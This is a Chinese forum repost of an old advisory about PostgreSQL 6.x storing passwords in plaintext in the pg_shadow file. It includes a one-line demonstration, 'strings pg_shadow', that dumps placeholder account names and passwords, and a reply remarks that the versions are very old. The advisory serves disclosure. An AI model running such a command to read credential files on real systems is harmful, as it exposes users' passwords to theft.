PostgreSQL 存在密码泄漏问题

peace72

受影响系统：

　　PostgreSQL 6.5.3

　　PostgreSQL 6.3.2

　　描述：

　　PostgreSQL 是一个基于 GNU 的数据库系统。PostgreSQL将密码存放在

　　一个叫 pg_shadow 的文件中。root 和 PostgreSQL用户可以读取该文件。

　　不幸的是，口令是以明文方式存在这个文件中，因此任何有读权限的用户

　　都可获得这些口令，从而导致了口令泄漏。

　　<* 来源： Meulen *>

　　测试方法：

　　警 告

　　以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负!

　　SmellyCat:/var/postgres/data# strings pg_shadow

　　someaccountname

　　someaccountpassword

　　anotheraccountname

　　anotheraccountpassword

　　SmellyCat:/var/postgres/data#


来源：http://sec.chinabyte.com/50/11175550.shtml

renxiao2003

好早的版本了啊。